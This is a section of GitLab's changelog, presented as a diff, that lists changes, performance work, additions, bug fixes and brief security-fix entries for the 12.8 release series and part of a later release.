+- Replace avatar and favicon upload type consistency validation with content whitelist validation. !25401
+- Showing only "Next" button for snippet explore page. !25404
+- Moved Deploy Keys from Repository to CI/CD settings. !25444
+- Move pod logs to core. !25455
+- Improve error messages of failed migrations. !25457
+- Hides the "Allowed to fail" tag on jobs that are successful. !25458
+- Disable CSRF protection on logout endpoint. !25521 (Diego Louzán)
+- Ensure all errors are logged in Group Import. !25619
+- Tweak wiki page title handling. !25647
+- Add refresh dashboard button. !25716
+- Disable draggable behavior on the epic tree chevron (collapse/expand) button. !25729
+- Rate limit archive endpoint by user. !25750
+- Improve audit log header layout. !25821
+- Migrate mentions for merge requests to DB table. !25826
+- Align git returned error codes. !25936
+- Split cluster info page into tabs. !25940
+- Remove visibility check from epic descendant counts. !25975
+- Use colon to tokenize input in filtered search. !26072
+- Add link to dependency proxy docs on the dependency proxy page. !26092
+- Remove Puma notices from AdminArea banner. !26137
+- Add airgap support to Dependency Scanning template. !26145
+- 27880 Make release notes optional and do not delete release when they are removed. !26231 (Pavlo Dudchenko)
+- Limit notification-type broadcast display to web interface. !26236 (Aleksandrs Ļedovskis)
+- Update renewal banner link for clearer instructions. !26240
+- Special handling for the rich viewer on specific file types. !26260
+- Rename pod logs to logs. !26313
+- Ensure checksums match when updating repository storage. !26334
+- Bump Auto Deploy image to v0.12.1. !26336
+- Use cert-manager 0.10 instead of 0.9 for new chart installations. !26345
+- Use y-axis format configuration in column charts. !26356
+- Add Prometheus metrics for Gitaly and database time in background jobs. !26384
+- Batch processing LFS objects downloads. !26434
+- Add edit custom metric link to metrics dashboard. !26511
+- Remove unused file_type column from packages_package_files. !26527
+- Enable client-side GRPC keepalive for Gitaly. !26536
+- Use ReplicateRepository when moving repo storage. !26550
+- Add functionality to render individual mermaids. !26564
+- Sync snippet after Git action. !26565
+- In single-file editor set syntax highlighting theme according to user's preference. !26606
+- Introduce a feature flag for Notifications for when pipelines are fixed. !26682 (Jacopo Beschi @jacopo-beschi)
+- Replace checkbox by toggle for ModSecurity on Cluster App Page. !26720
+- Change capybara screenshots files names taken on tests failures. !26788
+- Update cluster-applications image to v0.11 with a runner bugfix, updated cert-manager, and vault as a new app. !26842
+- Store first commit's authored_date for value stream calculation on merge. !26885
+- Group repository contributors by email instead of name. !26899 (Hilco van der Wilk)
+- Move authorized_keys operations into their own Sidekiq queue. !26913
+- Upgrade Elastic Stack helm chart to 1.9.0. !27011
+- Enable customizable_cycle_analytics feature flag by default. !27418
+- Deemphasized styles for inline code blocks.
+
+### Performance (41 changes, 1 of them is from the community)
+
+- Cache milestone issue counters and make them independent of user permissions. !21554
+- Persist expanded environment name in ci build metadata. !22374
+- Diffs load each view style separately, on demand. !24821
+- Project repositories are no longer cloned by default when running DAST. !25320
+- Enable Workhorse upload acceleration for Project Import API. !25361
+- Add API pagination for deployed merge requests. !25733
+- Upgrade to Bootsnap 1.4.6. !25844
+- Improve performance of Repository#merged_branch_names. !26005
+- Fix N+1 in Group milestone view. !26051
+- Project Snippets API endpoints check feature status. !26064
+- Memoize loading of CI variables. !26147
+- Refactor workhorse passthrough URL checker. !26157 (Takuya Noguchi)
+- Project Snippets GraphQL resolver checks feature status. !26158
+- Improved MR toggle file performance by hiding instead of removing. !26181
+- Use Workhorse acceleration for Project Import file upload via UI. !26278
+- Improve SnippetsFinder performance with disabled project snippets. !26295
+- Add trigram index on snippet description. !26341
+- Optimize todos counters in usage data. !26442
+- Optimize event counters query performance in usage data. !26444
+- Ensure RepositoryLinkFilter handles Gitaly failures gracefully. !26531
+- Fix N+1 queries for PipelinesController#index.json. !26643
+- Optimize Project related count with slack service. !26686
+- Optimize Project counters with respository enabled counter. !26698
+- Optimize Deployment related counters. !26757
+- Optimize ci_pipelines counters in usage data. !26774
+- Improve performance of the "has this commit been reverted?" check. !26784
+- Optimize Project counters with pipelines enabled counter. !26802
+- Optimize notes counters in usage data. !26871
+- Optimize clusters counters query performance in usage data. !26887
+- Enable Workhorse upload acceleration for Project Import uploads via API. !26914
+- Use process-wide memory cache for feature flags. !26935
+- Optimize services usage counters using batch counters. !26973
+- Optimize Project related count service desk enabled. !27115
+- Swap to UNLINK for Redis set cache. !27116
+- Optimize members counters query performance in usage data. !27197
+- Use batch counters instead of approximate counters in usage data. !27218
+- Enable Redis cache key compression. !27254
+- Move feature flag list into process cache. !27511
+- Remove duplicate authorization refresh for group members on project creation.
+- Optimize project representation in large imports.
+- Replace several temporary indexes with a single one to save time when running mentions migration.
+
+### Added (115 changes, 16 of them are from the community)
+
+- Notifications for when pipelines are fixed. !16951 (Jacopo Beschi @jacopo-beschi)
+- Backport API support to move between repository storages/shards. !18721 (Ben Bodenmiller)
+- Add ability to trigger pipelines when project is rebuilt. !20063
+- Add user dismiss option to broadcast messages. !20665 (Fabio Huser)
+- Show notices in Admin area when detected any of these cases: Puma, multi-threaded Puma, multi-threaded Puma + Rugged. !21403
+- Update git workflows and routes to allow snippets. !21739
+- Add Cobertura XML coverage visualization to merge request diff view. !21791 (Fabio Huser)
+- Add 2FA support to admin mode feature. !22281 (Diego Louzán)
+- GraphQL: Add Board type. !22497 (Alexander Koval)
+- Add/update services to delete snippets repositories. !22672
+- Render single snippet blob in repository. !23848
+- Commit file when snippet is created. !23953
+- Addition of the Group Deploy Token interface. !24102
+- Allow multiple Slack channels for notifications. !24132
+- Import/Export snippet repositories. !24150
+- Add custom validator for validating file path. !24223 (Rajendra Kadam)
+- Add a bulk processor for elasticsearch incremental updates. !24298
+- Send alert emails for generic incident alerts. !24414
+- Introduce default branch protection at the group level. !24426
+- Add "New release" button to Releases page. !24516
+- Nudge users to select a gitlab-ci.yml template. !24622
+- Allow enabling/disabling modsecurity from UI. !24747
+- Add possibility to track milestone changes on issues and merge requests. !24780
+- Allow group/project board to be queried by ID via GraphQL. !24825
+- Add functionality to revoke a X509Certificate and update related X509CommitSignatures. !24889 (Roger Meier)
+- Update file content of an existing custom dashboard. !25024
+- Add deploy tokens instance API endpoint. !25066
+- Add support for alert-based metric embeds in GFM. !25075
+- Add restrictions for signup email addresses. !25122
+- Add accessibility scanning CI template. !25144
+- Expose `plan` and `trial` to `/users/:id` endpoint. !25151
+- Add "Job Title" field in user settings and display on profile. !25155
+- Add endpoint for listing all deploy tokens for a project. !25186
+- Add api endpoint for listing deploy tokens for a group. !25219
+- Add API endpoint for deleting project deploy tokens. !25220
+- Add API endpoint for deleting group deploy tokens. !25222
+- Allow users to get Merge Trains entries via Public API. !25229
+- Added CI_MERGE_REQUEST_CHANGED_PAGE_* to Predefined Variables reference. !25256
+- Add missing arguments to UpdateIssue mutation. !25268
+- Add api endpoint to create deploy tokens. !25270
+- Automatically include embedded metrics for GitLab alert incidents. !25277
+- Allow to create masked variable from group variables API. !25283 (Emmanuel CARRE)
+- Add migration to create self monitoring project environment. !25289
+- Add deploy and re-deploy buttons to deployments. !25427
+- Replaced ACE with Monaco editor for Snippets. !25465
+- Add support for user Job Title. !25483
+- Add name_regex_keep param to container registry bulk delete API endpoint. !25484
+- Add Project template for Gatsby. !24192
+- Add filepath to ReleaseLink. !25512
+- Added Drop older active deployments project setting. !25520
+- Add filepath to release links API. !25533
+- Adds new activity panel to package details page. !25534
+- Add filepath redirect url. !25541
+- Add version column to operations_feature_flags table. !25552
+- Filter commits by author. !25597
+- Add api endpoint for creating group deploy tokens. !25629
+- Expose assets filepath URL on UI. !25635
+- Update moved service desk issues notifications. !25640
+- Allow chart descriptions for Insights. !25686
+- Allow to disable inheritance of default job settings. !25690
+- Support more query variables in custom dashboards per project. !25732
+- All image diffs (except for renamed files) show the image file size in the diff. !25734
+- Optional custom icon in the OmniAuth login labels. !25744 (Tobias Wawryniuk, Luca Leonardo Scorcia)
+- Add avatar upload support for create and update group APIs. !25751 (Rajendra Kadam)
+- Add properties to the dashboard definition to customize y-axis format. !25785
+- Empty state for Code Review Analytics. !25793
+- Search issues in GraphQL API by milestone title and assignees. !25794
+- Add package_type as a filter option to the packages list API endpoint. !25816
+- Add support for configuring remote mirrors via API. !25825 (Rajendra Kadam)
+- Display base label in versions drop down. !25834
+- Create table & setup operations endpoint for Status Page Settings. !25863
+- Update Ingress chart version to 1.29.7. !25949
+- Include snippet description as part of snippet title search (basic search). !25961
+- Add admin API endpoint to delete Sidekiq jobs matching metadata. !25998
+- Add documentation for create remote mirrors API. !26012 (Rajendra Kadam)
+- Update charts documentation and common_metrics.yml to enable data formatting. !26048
+- Allow issues/merge_requests as an issuable_type in Insights configuration. !26061
+- Add migration for Requirement model. !26097
+- Create scim_identities table in preparation for newer SCIM features in the future. !26124
+- Add web_url attribute to API response for Commits. !26173
+- Filter sentry error list by status (unresolved/ignored/resolved). !26205
+- Add grape custom validator for sha params. !26220 (Rajendra Kadam)
+- Update cluster-applications to v0.9.0. !26242
+- Support DotEnv Variables through report type artifact. !26247
+- More logs entries are loaded when logs are scrolled to the top. !26254
+- Introduce db table to store users statistics. !26261
+- Add title to Analytics sidebar menus. !26265
+- Added package_name as filter parameter to packages API. !26291
+- Added tracking to merge request jump to next thread buttons. !26319 (Martin Hobert)
+- Introduce optional expiry date for SSH Keys. !26351
+- Show cluster status (FE). !26368
+- Add CI template to deploy to ECS. !26371
+- Make hostname configurable for smartcard authentication. !26411
+- Filter rules by target_branch in approval_settings. !26439
+- Add CRUD for Instance-Level Integrations. !26454
+- Add vars to allow air-gapped usage of Retire.js (Dependency Scanning). !26463
+- Upgrade Pages to 1.17.0. !26478
+- Add dedicated Release page for viewing a single Release. !26502
+- Allow selecting all queues with sidekiq-cluster. !26594
+- Enable feature Dynamic Child Pipeline creation via artifact. !26648
+- Generate JSON-formatted a11y CI artifacts. !26687
+- Add anchor tags to related issues and related merge requests. !26756 (Gilang Gumilar)
+- Added Blob Description Edit component in Vue. !26762
+- Added Edit Visibility Vue compoenent for Snippet. !26799
+- Add package_type as a filter option to the group packages list API endpoint. !26833
+- Update UI for project and group settings CI variables. !26901
+- Track merge request cherry-picks. !26907
+- Introduce database table for user highest roles. !26987
+- Add ability to whitelist ports. !27025
+- Add issue summary to Release blocks on the Releases page. !27032
+- Support sidekiq-cluster supervision through bin/background_jobs. !27042
+- Adds crossplane as CI/CD Managed App. !27374
+- Update UI for project and group settings CI variables. !27411
+- Add remote mirrors API.
+- Add changed pages dropdown to visual review modal.
+
+### Other (66 changes, 22 of them are from the community)
+
+- Make design_management_versions.created_at not null. !20182 (Lee Tickett)
+- Drop forked_project_links table. !20771 (Lee Tickett)
+- Moves refreshData from issue model to board store. !21409 (nuwe1)
+- Use DNT: 1 as an experiment opt-out mechanism. !22100
+- Include full path to an upload in api response. !23500 (briankabiro)
+- Update Ruby version in official CI templates. !23585 (Takuya Noguchi)
+- Schedule worker to migrate security job artifacts to security scans. !24125
+- Move namespace of Secure Sidekiq queues. !24340
+- Remove spinner from app/views/projects/notes. !25015 (nuwe1)
+- Migrate .fa-spinner to .spinner for ee/app/views/shared/members. !25019 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/views/ide. !25022 (nuwe1)
+- Remove spinner from app/views/award_emoji. !25032 (nuwe1)
+- Remove .fa-spinner from app/views/projects/forks. !25034 (nuwe1)
+- Remove .fa-spinner from app/views/snippets/notes. !25036 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/views/help. !25037 (nuwe1)
+- Replaced underscore with lodash for app/assets/javascripts/lib. !25042 (Shubham Pandey)
+- Remove unused loading spinner from badge_settings partial. !25044 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/views/projects/find_file. !25051 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/assets/javascripts/notes/components/discussion_resolve_button.vue. !25055 (nuwe1)
+- Change OmniAuth log format to JSON. !25086
+- migrate fa spinner for notification_dropdown.js. !25141 (minghuan)
+- Use new loading spinner in Todos dashboard buttons. !25142 (Tsegaselassie Tadesse)
+- Refuse to start web server without a working ActiveRecord connection. !25160
+- Simplifying colors in the Web IDE. !25304
+- Clean up conditional `col-` classes in `nav_dropdown_button.vue`. !25312
+- Only load usage ping cron schedule for Sidekiq. !25325
+- Update rouge to v3.16.0. !25334 (Konrad Borowski)
+- Update project's permission settings description to reflect actual permissions. !25523
+- Use clearer error message for pages deploy job when the SHA is outdated. !25659
+- Add index on LOWER(domain) for pages_domains. !25664
+- Remove repository_storage column from snippets. !25699
+- Add instance column to services table. !25714
+- Update GitLab Runner Helm Chart to 0.14.0. !25749
+- Update loader for various project views. !25755 (Phellipe K Ribeiro)
+- Clarify private visibility for projects. !25852
+- Do not parse undefined severity and confidence from reports. !25884
+- Remove special chars from previous and next items in pagination. !25891
+- Update Auto DevOps deployment template's auto-deploy-image to v0.10.0 (updates the included glibc). !25920
+- Update DAST auto-deploy-image to v0.10.0. !25922
+- Optimize storage usage for newly created ES indices. !25992
+- Replace undefined severity with unknown severity for occurrences. !26085
+- Replace undefined severity with unknown severity for vulnerabilities. !26305
+- Remove unused Snippets#content_types method. !26306
+- Change tooltip text for pipeline on last commit widget. !26315
+- Resolve Change link-icons on security configuration page to follow design system. !26340
+- Put System Metrics chart group first in default dashboard. !26355
+- Validates only one service template per type. !26380
+- update table layout for error tracking list on medium view ports. !26479
+- Validate absence of project_id if service is a template. !26563
+- Move sidekiq-cluster script to Core. !26703
+- Update GitLab's codeclimate to 0.85.9. !26712 (Eddie Stubbington)
+- Bump minimum node version to v10.13.0. !26831
+- Remove promoted notes temporary index. !26896
+- Update Project Import API rate limit. !26903
+- Backfill LfsObjectsProject records of forks. !26964
+- Add migration for creating open_project_tracker_data table. !26966
+- Fixed SSH warning style. !26992
+- Use new codequality docker image from ci-cd group. !27098
+- Add tooltip to modification icon in the file tree. !27158
+- Upgrade Gitaly gem and fix UserSquash RPC usage. !27372
+- Replace issue-external icon with external-link. !208827
+- Add keep_divergent_refs to remote_mirrors table.
+- Replace issue-duplicate icon with duplicate icon.
+- Add confidential attribute to notes table.
+- Replace content_viewer_spec setTimeouts with semantic actions / events. (Oregand)
+- Improvement in token reference.
+
+
+## 12.8.10 (2020-04-30)
+
+### Security (7 changes)
+
+- Ensure MR diff exists before codeowner check.
+- Prevent unauthorized access to default branch.
+- Do not return private project ID without permission.
+- Fix doorkeeper CVE-2020-10187.
+- Prevent ES credentials leak.
+- Return only safe urls for mirrors.
+- Validate workhorse 'rewritten_fields' and properly use them during multipart uploads.
+
+
+## 12.8.9 (2020-04-14)
+
+### Security (3 changes)
+
+- Refresh ProjectAuthorization during Group deletion.
+- Prevent filename bypass on artifact upload.
+- Update rack and related gems to 2.0.9 to fix security issue.
+
+
+## 12.8.7 (2020-03-16)
+
+### Fixed (1 change, 1 of them is from the community)
+
+- Fix crl_url parsing and certificate visualization. !25876 (Roger Meier)
+
+
+## 12.8.6 (2020-03-11)
+
+### Security (1 change)
+
+- Do not enable soft email confirmation by default.
+
+
+## 12.8.5
+
+### Fixed (8 changes)
+
+- Fix Group Import API file upload when object storage is disabled. !25715
+- Fix Web IDE fork modal showing no text. !25842
+- Fixed regression when URL was encoded in a loop. !25849
+- Fixed repository browsing for folders with non-ascii characters. !25877
+- Fix search for Sentry error list. !26129
+- Send credentials with GraphQL fetch requests. !26386
+- Show CI status in project dashboards. !26403
+- Rescue invalid URLs during badge retrieval in asset proxy. !26524
+
+### Performance (2 changes)
+
+- Disable Marginalia line backtrace in production. !26199
+- Remove unnecessary Redis deletes for broadcast messages. !26541
+
+### Other (1 change, 1 of them is from the community)
+
+- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
+
+
+## 12.8.4
+
+### Fixed (8 changes)
+
+- Fix Group Import API file upload when object storage is disabled. !25715
+- Fix Web IDE fork modal showing no text. !25842
+- Fixed regression when URL was encoded in a loop. !25849
+- Fixed repository browsing for folders with non-ascii characters. !25877
+- Fix search for Sentry error list. !26129
+- Send credentials with GraphQL fetch requests. !26386
+- Show CI status in project dashboards. !26403
+- Rescue invalid URLs during badge retrieval in asset proxy. !26524
+
+### Performance (2 changes)
+
+- Disable Marginalia line backtrace in production. !26199
+- Remove unnecessary Redis deletes for broadcast messages. !26541
+
+### Other (1 change, 1 of them is from the community)
+
+- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
+
+
+## 12.8.3
+
+### Fixed (8 changes)
+
+- Fix Group Import API file upload when object storage is disabled. !25715
+- Fix Web IDE fork modal showing no text. !25842
+- Fixed regression when URL was encoded in a loop. !25849
+- Fixed repository browsing for folders with non-ascii characters. !25877
+- Fix search for Sentry error list. !26129
+- Send credentials with GraphQL fetch requests. !26386
+- Show CI status in project dashboards. !26403
+- Rescue invalid URLs during badge retrieval in asset proxy. !26524
+
+### Performance (2 changes)
+
+- Disable Marginalia line backtrace in production. !26199
+- Remove unnecessary Redis deletes for broadcast messages. !26541
+
+### Other (1 change, 1 of them is from the community)
+
+- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
+
+
+## 12.8.2
+
+### Security (17 changes)
+
+- Update container registry authentication to account for login request when checking permissions.
+- Update ProjectAuthorization when deleting or updating GroupGroupLink.
+- Prevent an endless checking loop for two merge requests targeting each other.
+- Update user 2fa when accepting a group invite.
+- Fix for XSS in branch names.
+- Prevent directory traversal through FileUploader.
+- Run project badge images through the asset proxy.
+- Check merge requests read permissions before showing them in the pipeline widget.
+- Respect member access level for group shares.
+- Remove OID filtering during LFS imports.
+- Protect against denial of service using pipeline webhook recursion.
+- Expire account confirmation token.
+- Prevent XSS in admin grafana URL setting.
+- Don't require base_sha in DiffRefsType.
+- Sanitize output by dependency linkers.
+- Recalculate ProjectAuthorizations for all users.
+- Escape special chars in Sentry error header.
+
+### Other (1 change, 1 of them is from the community)
+
+- Fix fixtures for Error Tracking Web UI. !26233 (Takuya Noguchi)
+
+
+## 12.8.1
+
+### Fixed (5 changes)
+
+- Fix markdown layout of incident issues. !25352
+- Time series extends axis options correctly. !25399
+- Fix "Edit Release" page. !25469
+- Fix upgrade failure in EE displaying license. !25788
+- Fixed last commit widget when Gravatar is disabled.
+
+
+## 12.8.0
+
+### Security (6 changes, 2 of them are from the community)
+
+- Upgrade Doorkeeper to 4.4.3 to address CVE-2018-1000211. !20953
+- Upgrade Doorkeeper to 5.0.2. !21173
+- Update webpack related packages. !22456 (Takuya Noguchi)
+- Update rubyzip gem in qa tests to 1.3.0 to fix CVE-2019-16892. !24119
+- Update GraphicsMagick from 1.3.33 to 1.3.34. !24225 (Takuya Noguchi)
+- Update handlebars to remove issues from dependency dashboard.
+
+### Removed (2 changes, 1 of them is from the community)
+
+- Remove temporary index at services on project_id. !24263
+- Remove CI status from Projects Dashboard. !25225 (George Thomas @thegeorgeous)
+
+### Fixed (136 changes, 21 of them are from the community)
+
+- When a namespace GitLab Subscription expires, disable SSO enforcement. !21135
+- Fix bug with snippet counts not being scoped to current authorisation. !21705
+- Log user last activity on REST API. !21725
+- Create LfsObjectsProject record for forks as well. !22418
+- Limit size of diffs returned by /projects/:id/repository/compare API endpoint. !22658
+- Fix spacing and UI on Recent Deliveries section of Project Services. !22666
+- Improve error messages when adding a child epic. !22688
+- Fixes a new line issue with suggestions in the last line of a file. !22732
+- Use POSTGRES_VERSION variable in Auto DevOps Test stage. !22884 (Serban Marti)
+- Include milestones from subgroups in the list of Group Milestones. !22922
+- Authenticate user when scope is passed to events api. !22956 (briankabiro)
+- Limit productivity analytics graph y-axis scale to whole numbers. !23140
+- Fix GraphiQL when GitLab is installed under a relative URL. !23143 (Mathieu Parent)
+- Stop NoMethodError happening for 1.16+ Kubernetes clusters. !23149
+- Fix advanced global search permissions for guest users. !23177
+- Fix JIRA DVCS retrieving repositories. !23180
+- Fix logs api etag issues with elasticsearch. !23249
+- Add border radius and remove blue outline on recent searches filter. !23266
+- Fix premailer and S/MIME emailer hooks order. !23293 (Diego Louzán)
+- Fix Web IDE alert message look and feel. !23300 (Sean Nichols)
+- Ensure that error tracking frontend only polls when required. !23305
+- Fixes spacing issue in modal footers. !23327
+- Fix POST method in dashboard link for disabling admin mode. !23363 (Diego Louzán)
+- Fix Markdown not rendering on releases page. !23370
+- Fix pipeline status loading errors on project dashboard page caused by Gitaly connection failures. !23378
+- Improve message UI on Microsoft Teams notification. !23385 (Takuya Noguchi)
+- Use state machine in Merge Train to avoid race conditions. !23395
+- Prevent DAG builds to run after skipped need build. !23405
+- Fixes AutoMergeProcessWorker failing when merge train service is not available for a merge request. !23407
+- Fix error when assigning an existing asignee. !23416
+- Fix outdated MR security warning message. !23496
+- Fix missing API notification argument for Microsoft Teams. !23571 (Seiji Suenaga)
+- Support the bypass 2FA function with ADFS SAML. !23615
+- Require other stages than .pre and .post. !23629
+- Remove the OpenSSL include within SMIME email signing. !23642 (Roger Meier)
+- Fix custom charts in monitoring dashboard shrinking. !23649
+- Correctly render mermaid digrams inside details blocks. !23662
+- Fix Pipeline failed notification email not being delivered if the failed job is a bridge job. !23668
+- Call DetectRepositoryLanguagesWorker only for project repositories. !23696
+- Fix emails on push integrations created before 12.7. !23699
+- Fix hash parameter of Permalink and Blame button. !23713
+- Task lists work correctly again on closed MRs. !23714
+- Fix broken link to documentation. !23715
+- Trim extra period when merge error displayed. !23737
+- Skip squashing with only one commit in a merge request. !23744
+- Fix 500 error when trying to unsubscribe from an already deleted entity. !23747
+- Fix some of the file encoding issues when uploading in the Web IDE. !23761
+- Remove keep button for non archive artifacts. !23762
+- Ensure all Project records have a corresponding ProjectFeature record. !23766
+- Fix design of snippet search results page. !23780
+- Fix Merge Request comments when some notes are corrupt. !23786
+- Add optional angle brackets in address_regex. !23797 (Max Winterstein)
+- Eliminate statement timeouts when namespace is blank. !23839
+- Remove unstaged and staged modification tooltip. !23847
+- Allow Owner access level for sharing groups with groups. !23868
+- Allow running child pipelines as merge request pipelines. !23884
+- Fix user popover glitch. !23904
+- Return 404 when repository archive cannot be retrieved. !23926
+- Fix 503 errors caused by Gitaly failures during project_icon lookup. !23930
+- Fix showing 'NaN files' when a MR diff does not have any changes. !24002
+- Label MR test modal execution time as seconds. !24019
+- Fix copy markdown with elements with no text content. !24020
+- Disable pull mirror importing for archived projects. !24029
+- Remove gray color from diff buttons. !24041
+- Prevent project path namespace overflow during import. !24042 (George Tsiolis)
+- Fix JIRA::HTTPError initialize parameter. !24060
+- Fix multiline issue when loading env vars from DinD in SAST. !24108
+- Clean backgroud_migration queue from ActivatePrometheusServicesForSharedCluster jobs. !24135
+- Fix quoted-printable encoding for unicode and newlines in mails. !24153 (Diego Louzán)
+- Replace artifacts via Runner API if already exist. !24165
+- Port `trigger` keyword in CI config to Core. !24191
+- Fix race condition bug in Prometheus managed app update process. !24228
+- Hide label tooltips when dragging board cards. !24239
+- Fix dropdown caret not being positioned correctly. !24273
+- Enable recaptcha check on sign up. !24274
+- Avoid loading user activity calendar on mobile. !24277 (Takuya Noguchi)
+- Resolve Design discussion note preview is broken. !24288
+- Query projects of subgroups in productivity analytics. !24335
+- Query projects of subgroups in Cycle Analytics. !24392
+- Fix backup restoration with pre-existing wiki. !24394
+- Fix duplicated user popovers. !24405
+- Fix inconditionally setting user profile to public when updating via API and private_profile parameter is not present in the request. !24456 (Diego Louzán)
+- Enable Web IDE on projects without Merge Requests. !24508
+- Avoid double encoding of credential while importing a Project by URL. !24514
+- Redact push options from error logs. !24540
+- Fix merge train unnecessarily retries pipeline by a race condition. !24566
+- Show selected template type when clicked. !24596
+- Don't leak entire objects into the error log when rendering markup fails. !24599
+- Fix blobs search API degradation. !24607
+- Sanitize request parameters in exceptions_json.log. !24625
+- Add styles for board list labels when text is too long. !24627
+- Show blocked status for all blocked issues on issue boards. !24631
+- Ensure board lists are sorted consistently. !24637
+- Geo: Fix GeoNode name in geo:update_primary_node_url rake task. !24649
+- Fix link to base domain help in clusters view. !24658
+- Fix false matches of substitution-based quick actions in text. !24699
+- Fix pipeline icon background in Web IDE. !24707
+- Fix job page not loading because kuberenetes/prometheus URL is blocked. !24743
+- Fix signature badge popover on Firefox. !24756
+- Avoid autolinking YouTrack issue numbers followed by letters. !24770 (Konrad Borowski)
+- Fix 500 error while accessing Oauth::ApplicationsController without a valid session. !24775
+- Ensure a valid mount_point is used by the AvatarUploader. !24800
+- Fix k8s logs alert display state. !24802
+- Squelch Snowplow tracker log messages. !24809
+- Fix code line and line number alignment in Safari. !24820
+- Fixed default-branch link under Pipeline Subscription settings. !24834 (James Johnson)
+- Do not remove space from project name in Slack. !24851
+- Drop etag cache on logs API. !24864
+- Revert rename services template to instance migration. !24885
+- Geo: Don't clean up files in object storage when Geo is responsible of syncing them. !24901
+- Add missing colors on the monitoring dashboards. !24921
+- Upgrade omniauth-github gem to fix GitHub API deprecation notice. !24928
+- dragoon20. !24958 (Jordan Fernando)
+- Fix bug rendering BlobType markdown data. !24960
+- Use closest allowed visibility level on group creation when importing groups using Group Import/Export. !25026
+- Extend the list of excluded_attributes for group on Group Import. !25031
+- Update broken links to Cloud Run for Anthos documentation. !25159
+- Fix autocomplete limitation bug. !25167
+- Fix Group Import existing objects lookup when description attribute is an empty string. !25187
+- Fix N+1 queries caused by loading job artifacts archive in pipeline details entity. !25250
+- Fix sidekiq jobs not always getting a database connection when running with low concurrency. !25261
+- Fix overriding the image pull policy from a values file for Auto Deploy. !25271 (robcalcroft)
+- Pin Auto DevOps Docker-in-Docker service image to work around pull timeouts. !25286
+- Remove name & path from list of excluded attributes during Group Import. !25342
+- Time series extends axis options correctly. !25399
+- Fix "Edit Release" page. !25469
+- Ensure New Snippet button is displayed based on the :create_snippet permission in Project Snippets page and User profile > Snippets tab. !55240
+- Fix wrong MR link is shown on pipeline failure email.
+- Fix issue count wrapping on board list.
+- Allow long milestone titles on board lists to be truncated.
+- Update styles for pipeline status badge to be correctly vertically centered in project pipeline card. (Oregand)
+- MVC for assignees avatar dissapearing when opening issue sidebar in board. (Oregand)
+- Fix application settings not working with pending migrations.
+- Rename too long migration filename to address gem packaging limitations.
+- Add more accurate way of counting remaining background migrations before upgrading.
+- update main javascript file to only apply right sidebar class when an aside is present. (Oregand)
+
+### Deprecated (2 changes)
+
+- Move repository routes under - scope. !20455
+- Move merge request routes under /-/ scope. !21126
+
+### Changed (82 changes, 13 of them are from the community)
+
+- Move the clone button to the tree controls area. !17752 (Ablay Keldibek)
+- Add experimental --queue-selector option to sidekiq-cluster. !18877
+- Truncate related merge requests list in pipeline view. !19404
+- Increase pipeline email notification from 10 to 30 lines. !21728 (Philipp Hasper)
+- Sets size limits on data loaded async, like deploy boards and merge request reports. !21871
+- Deprecate /admin/application_settings in favor of /admin/application_settings/general. The former path is to be removed in 13.0. !22252 (Alexander Oleynikov)
+- Migrate epic, epic notes mentions to respective DB table. !22333
+- Restyle changes header & file tree. !22364
+- Let tie breaker order follow primary sort direction (API). !22795
+- Allow SSH keys API endpoint to be requested for a given username. !22899 (Rajendra Kadam)
+- Allow to deploy only forward deployments. !22959
+- Add blob and blob_viewer fields to graphql snippet type. !22960
+- Activate new project integrations by default. !23009
+- Rename Custom hooks to Server hooks. !23064
+- Reorder signup omniauth options. !23082
+- Cycle unresolved threads. !23123
+- Rename 'GitLab Instance Administration' project to 'GitLab self monitoring' project. !23182
+- Update pipeline status copy in deploy footer. !23199
+- Allow users to read broadcast messages via API. !23298 (Rajendra Kadam)
+- Default the `creation of a Mattermost team` checkbox to false. !23329 (briankabiro)
+- Makes the generic alerts endpoint available with the free tier. !23339
+- Allow to switch between cloud providers in cluster creation screen. !23362
+- Rename cycle analytics interfaces to value stream analytics. !23427
+- Upgrade to Gitaly v1.83.0. !23431
+- Groups::ImportExport::ExportService to require admin_group permission. !23434
+- Bump ingress managed app chart to 1.29.3. !23461
+- Add support for stacked column charts. !23474
+- Remove kibana_hostname column from clusters_applications_elastic_stacks table. !23503
+- Update rebasing to use the new two-phase Gitaly Rebase RPC. !23546
+- Fetch merge request widget data asynchronous. !23594
+- Include issues created in GitLab on error tracking details page. !23605
+- Add Epics Activity information to Group Export. !23613
+- Copy issues routing under - scope. !23779
+- Make Explore Projects default to All. !23811
+- Migrate CI CD statistics + duration chart to VueJS. !23840
+- Use NodeUpdateService for updating Geo node. !23894 (Rajendra Kadam)
+- Add support for column charts. !23903
+- Update PagesDomains data model for serverless domains. !23943
+- Upgrade to Gitaly v1.85.0. !23945
+- Change vague copy to clipboard icon to a clearer icon. !23983
+- Add award emoji information of Epics and Epic Notes to Group Import/Export. !24003
+- Make name, email, and location attributes readonly for LDAP enabled instances. !24049
+- Migrate CI CD pipelines charts to ECharts. !24057
+- Include license_scanning to index_ci_builds_on_name_for_security_products_values. !24090
+- Add mode field to snippet blob in GraphQL. !24157
+- Switch order of tabs in Web IDE nav dropdown. !24199
+- Hide comment button if on diff HEAD. !24207
+- Move commit routes under - scope. !24279
+- Move security routes under - scope. !24287
+- Restyle Merge Request diffs file tree. !24342
+- Limit length of wiki file/directory names. !24364
+- Admin mode support in sidekiq jobs. !24388 (Diego Louzán)
+- Expose theme and color scheme user preferences in API. !24409
+- Remove username lookup when mapping users when importing projects using Project Import/Export and rely on email only. !24464
+- Extend logs retention to period from 15 to 30 days. !24466
+- Move analytics pages under the sidebar for projects and groups. !24470
+- Rename 'Kubernetes configured' button. !24487
+- Test reports in the pipeline details page will now load when clicking the tests tab. !24577
+- Move Settings->Operations->Incidents to the Core. !24600
+- Upgrade to Gitaly v1.86.0. !24610
+- Conan packages are validated based on full recipe instead of name/version alone. !24692
+- WebIDE: Support # in branch names. !24717
+- Move Merge Request from right sidebar of Web IDE to bottom bar. !24746
+- Updated cluster-applications to v0.7.0. !24754
+- Add migration to save Instance Administrators group ID in application_settings table. !24796
+- Add percentile value support to single stat panel types. !24813
+- Parse filebeat modsec logs as JSON. !24836
+- Add plain_highlighted_data field to SnippetBlobType. !24856
+- Add Board Lists to Group Export. !24863
